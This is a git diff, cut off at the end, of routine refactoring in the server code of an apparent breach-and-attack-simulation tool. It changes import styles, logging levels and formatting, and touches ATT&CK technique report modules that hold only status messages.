'index.html' @@ -62,32 +59,6 @@ def serve_home(): return serve_static_file(HOME_FILE) -def normalize_obj(obj): - if '_id' in obj and not 'id' in obj: - obj['id'] = obj['_id'] - del obj['_id'] - - for key, value in list(obj.items()): - if isinstance(value, bson.objectid.ObjectId): - obj[key] = str(value) - if isinstance(value, datetime): - obj[key] = str(value) - if isinstance(value, dict): - obj[key] = normalize_obj(value) - if isinstance(value, list): - for i in range(0, len(value)): - if isinstance(value[i], dict): - value[i] = normalize_obj(value[i]) - return obj - - -def output_json(obj, code, headers=None): - obj = normalize_obj(obj) - resp = make_response(dumps(obj), code) - resp.headers.extend(headers or {}) - return resp - - def init_app_config(app, mongo_url): app.config['MONGO_URI'] = mongo_url app.config['SECRET_KEY'] = str(uuid.getnode()) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 797a395aa..18db5c376 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,7 +1,6 @@ import monkey_island.cc.auth from monkey_island.cc.environment import Environment from common.cloud.aws_instance import AwsInstance -from Crypto.Hash import SHA3_512 __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 6115e8dd9..868e6ec36 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -34,8 +34,8 @@ def load_server_configuration_from_file(): def load_env_from_file(): - config_json = load_server_configuration_from_file() - return config_json['server_config'] + loaded_config_json = load_server_configuration_from_file() + return loaded_config_json['server_config'] try: diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py index 8fbef1e0e..f55fcf896 100644 --- a/monkey/monkey_island/cc/island_logger.py +++ b/monkey/monkey_island/cc/island_logger.py @@ -2,7 +2,6 @@ import os import json import logging.config - __author__ = 'Maor.Rayzin' diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json index 34a57b374..522177cda 100644 --- a/monkey/monkey_island/cc/island_logger_default_config.json +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -1,33 +1,33 @@ { - "version": 1, - "disable_existing_loggers": false, - "formatters": { - "simple": { - "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" - } - }, - - "handlers": { - "console": { - "class": "logging.StreamHandler", - "level": "DEBUG", - "formatter": "simple", - "stream": "ext://sys.stdout" - }, - - "info_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "INFO", - "formatter": "simple", - "filename": "info.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" - } - }, - - "root": { - "level": "DEBUG", - "handlers": ["console", "info_file_handler"] + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" } + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + "root": { + "level": "DEBUG", + "handlers": [ + "console", + "info_file_handler" + ] + } } \ No newline at end of file diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index c3c762dbc..17c537aeb 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -13,6 +13,7 @@ if BASE_PATH not in sys.path: from monkey_island.cc.island_logger import json_setup_logging from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH + # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), default_level=logging.DEBUG) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 324903809..8d0ed42ad 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -43,6 +43,7 @@ class Monkey(Document): tunnel = ReferenceField("self") command_control_channel = EmbeddedDocumentField(CommandControlChannel) aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. @staticmethod diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 4ced7a9d7..0d12f9785 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase): self.clean_monkey_db() linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64") + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla") unknown_monkey = Monkey(guid=str(uuid.uuid4()), @@ -142,7 +142,7 @@ class TestMonkey(IslandTestCase): cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info() self.assertEqual(cache_info_after_query_1.hits, 0) self.assertEqual(cache_info_after_query_1.misses, 1) - logger.info("1) ID: {} label: {}".format(linux_monkey.id, label)) + logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label)) self.assertIsNotNone(label) self.assertIn(hostname_example, label) @@ -150,7 +150,7 @@ class TestMonkey(IslandTestCase): # should be cached label = Monkey.get_label_by_id(linux_monkey.id) - logger.info("2) ID: {} label: {}".format(linux_monkey.id, label)) + logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label)) cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info() self.assertEqual(cache_info_after_query_2.hits, 1) self.assertEqual(cache_info_after_query_2.misses, 1) @@ -160,7 +160,7 @@ class TestMonkey(IslandTestCase): # should be a miss label = Monkey.get_label_by_id(linux_monkey.id) - logger.info("3) ID: {} label: {}".format(linux_monkey.id, label)) + logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label)) cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info() logger.debug("Cache info: {}".format(str(cache_info_after_query_3))) # still 1 hit only @@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase): cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() self.assertEqual(cache_info_after_query.hits, 2) - diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py index c3ed52649..38b551047 100644 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding @@ -26,7 +26,7 @@ class AggregateFinding(Finding): def add_malicious_activity_to_timeline(events): AggregateFinding.create_or_add_to_existing( - test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_VERIFY, + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, events=events ) diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index 6ad728d66..89b581fa0 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -2,7 +2,7 @@ from datetime import datetime from mongoengine import EmbeddedDocument, DateTimeField, StringField -from common.data.zero_trust_consts import EVENT_TYPES +import common.data.zero_trust_consts as zero_trust_consts class Event(EmbeddedDocument): @@ -19,7 +19,7 @@ class Event(EmbeddedDocument): timestamp = DateTimeField(required=True) title = StringField(required=True) message = StringField() - event_type = StringField(required=True, choices=EVENT_TYPES) + event_type = StringField(required=True, choices=zero_trust_consts.EVENT_TYPES) # LOGIC @staticmethod diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index df4eb12f7..90c9e1dc3 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -5,7 +5,7 @@ Define a Document Schema for Zero Trust findings. from mongoengine import Document, StringField, EmbeddedDocumentListField -from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY +import common.data.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from monkey_island.cc.models.zero_trust.event import Event @@ -30,18 +30,18 @@ class Finding(Document): times, or complex action we will perform - somewhat like an API. """ # SCHEMA - test = StringField(required=True, choices=TESTS) - status = StringField(required=True, choices=ORDERED_TEST_STATUSES) + test = StringField(required=True, choices=zero_trust_consts.TESTS) + status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) events = EmbeddedDocumentListField(document_type=Event) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} # LOGIC def get_test_explanation(self): - return TESTS_MAP[self.test][TEST_EXPLANATION_KEY] + return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.TEST_EXPLANATION_KEY] def get_pillars(self): - return TESTS_MAP[self.test][PILLARS_KEY] + return zero_trust_consts.TESTS_MAP[self.test][zero_trust_consts.PILLARS_KEY] # Creation methods @staticmethod diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py index 32a450f57..7633ed31f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -1,11 +1,11 @@ from mongoengine import StringField -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding def need_to_overwrite_status(saved_status, new_status): - return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED) + return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED) class SegmentationFinding(Finding): @@ -35,7 +35,7 @@ class SegmentationFinding(Finding): new_finding = SegmentationFinding( first_subnet=subnets[0], second_subnet=subnets[1], - test=TEST_SEGMENTATION, + test=zero_trust_consts.TEST_SEGMENTATION, status=status, events=[segmentation_event] ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index 161f064b2..ce28ad7f7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -10,9 +10,9 @@ class TestAggregateFinding(IslandTestCase): self.fail_if_not_testing_env() self.clean_finding_db() - test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_VERIFY - events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] + test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE + status = zero_trust_consts.STATUS_VERIFY + events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] self.assertEqual(len(Finding.objects(test=test, status=status)), 0) AggregateFinding.create_or_add_to_existing(test, status, events) @@ -29,9 +29,9 @@ class TestAggregateFinding(IslandTestCase): self.fail_if_not_testing_env() self.clean_finding_db() - test = TEST_MALICIOUS_ACTIVITY_TIMELINE - status = STATUS_VERIFY - event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK) + test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE + status = zero_trust_consts.STATUS_VERIFY + event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) events = [event] self.assertEqual(len(Finding.objects(test=test, status=status)), 0) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index c0742407d..4a5afba50 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -14,7 +14,7 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title=None, # title required message="bla bla", - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) with self.assertRaises(ValidationError): @@ -28,5 +28,5 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title="skjs", message="bla bla", - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index 3b9dcbf33..4299f7eb4 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -1,6 +1,6 @@ from mongoengine import ValidationError -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -14,25 +14,26 @@ class TestFinding(IslandTestCase): Also, the working directory needs to be the working directory from which you usually run the island so the server.json file is found and loaded. """ + def test_save_finding_validation(self): self.fail_if_not_testing_env() self.clean_finding_db() with self.assertRaises(ValidationError): - _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[]) + _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[]) with self.assertRaises(ValidationError): - _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) + _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[]) def test_save_finding_sanity(self): self.fail_if_not_testing_env() self.clean_finding_db() - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) event_example = Event.create_event( - title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) - Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example]) + title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example]) - self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 1) - self.assertEqual(len(Finding.objects(status=STATUS_FAILED)), 1) + self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) + self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py index 8258d7bdf..4afff9fe4 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding @@ -12,11 +12,11 @@ class TestSegmentationFinding(IslandTestCase): first_segment = "1.1.1.0/24" second_segment = "2.2.2.0-2.2.2.254" third_segment = "3.3.3.3" - event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK) + event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) SegmentationFinding.create_or_add_to_existing_finding( subnets=[first_segment, second_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) @@ -26,7 +26,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[second_segment, first_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) @@ -36,7 +36,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[first_segment, third_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) @@ -45,7 +45,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[second_segment, third_segment], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py index da7651f24..803fb5453 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource): AttackConfig.update_config({'properties': json.loads(request.data)}) AttackConfig.apply_to_monkey_config() return {} - diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 54a16f518..41f5fa417 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH __author__ = 'Barak' import logging + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 8e523a8a7..3e3ef40c0 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService __author__ = 'Barak' + # TODO: separate logic from interface diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index ed83414f5..3b7e471d8 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource): "nodes": monkeys + nodes + monkey_island, "edges": edges } - - diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index 5b567e8e4..de85fc291 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource): """ File download endpoint used by monkey to download user's PBA file """ + # Used by monkey. can't secure. def get(self, path): return send_from_directory(GET_FILE_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 0d924a742..3a636459c 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource): """ File upload endpoint used to exchange files with filepond component on the front-end """ + @jwt_required() def get(self, file_type): """ diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 5b416e60b..961e745a8 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -1,6 +1,5 @@ import http.client - import flask_restful from flask import jsonify @@ -28,10 +27,10 @@ class Report(flask_restful.Resource): elif report_type == ZERO_TRUST_REPORT_TYPE: if report_data == REPORT_DATA_PILLARS: return jsonify({ - "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), - "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), - "grades": ZeroTrustService.get_pillars_grades() - } + "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), + "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), + "grades": ZeroTrustService.get_pillars_grades() + } ) elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index d7cae8bd7..59a8fbe7c 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -1,18 +1,18 @@ -from datetime import datetime import logging import threading +from datetime import datetime import flask_restful from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo +from monkey_island.cc.services.database import Database from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.attack.attack_report import AttackReportService -from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports +from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \ + safe_generate_reports from monkey_island.cc.utils import local_ip_addresses -from monkey_island.cc.services.database import Database __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index a655c5f9f..6333f2feb 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -22,9 +22,8 @@ class TelemetryFeed(flask_restful.Resource): if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code... telemetries = mongo.db.telemetry.find({}) else: - telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\ - - telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) + telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) + telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) try: return \ diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py index 0189cdbf0..f0f9af936 100644 --- a/monkey/monkey_island/cc/resources/test/log_test.py +++ b/monkey/monkey_island/cc/resources/test/log_test.py @@ -2,7 +2,6 @@ from bson import json_util import flask_restful from flask import request - from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo, database diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py index 5b34f4206..b1fbfdf82 100644 --- a/monkey/monkey_island/cc/resources/version_update.py +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -2,7 +2,6 @@ import flask_restful import logging from monkey_island.cc.environment.environment import env -from monkey_island.cc.auth import jwt_required from monkey_island.cc.services.version_update import VersionUpdateService __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 0b28d0b74..420f1b303 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "standard", - "deployment": "develop" + "server_config": "standard", + "deployment": "develop" } diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 142e51368..ee5b79ad0 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' \ No newline at end of file +__author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index f88b7e8b9..10005bd26 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor __author__ = "VakarisZ" - LOG = logging.getLogger(__name__) TECHNIQUES = {'T1210': T1210.T1210, @@ -52,7 +51,7 @@ class AttackReportService: Generates new report based on telemetries, replaces old report in db with new one. :return: Report object """ - report =\ + report = \ { 'techniques': {}, 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, @@ -75,7 +74,10 @@ class AttackReportService: Gets timestamp of latest attack telem :return: timestamp of latest attack telem """ - return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0] + return [ + x['timestamp'] for x in + mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1) + ][0] @staticmethod def get_latest_report(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 2b49f264d..8039a2e76 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1003(AttackTechnique): - tech_id = "T1003" unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index b84fe4a6f..2a39fad02 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -5,7 +5,6 @@ __author__ = "VakarisZ" class T1005(AttackTechnique): - tech_id = "T1005" unscanned_msg = "Monkey didn't gather any sensitive data from local system." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 43d7c42b0..9249020dc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1016(AttackTechnique): - tech_id = "T1016" unscanned_msg = "Monkey didn't gather network configurations." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index a955f6cc9..3498029c9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1018(AttackTechnique): - tech_id = "T1018" unscanned_msg = "Monkey didn't find any machines on the network." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index d22583359..3fc29259b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds - __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 1342b646e..ae3342355 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1041(AttackTechnique): - tech_id = "T1041" unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index ef15dd9fd..a2eb3ffd0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1059(AttackTechnique): - tech_id = "T1059" unscanned_msg = "Monkey didn't exploit any machines to run commands at." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index 7d8ceb93e..f8eb9aa3e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1065(AttackTechnique): - tech_id = "T1065" unscanned_msg = "" scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 623d157ae..655da767d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1075(AttackTechnique): - tech_id = "T1075" unscanned_msg = "Monkey didn't try to use pass the hash attack." scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." diff --git 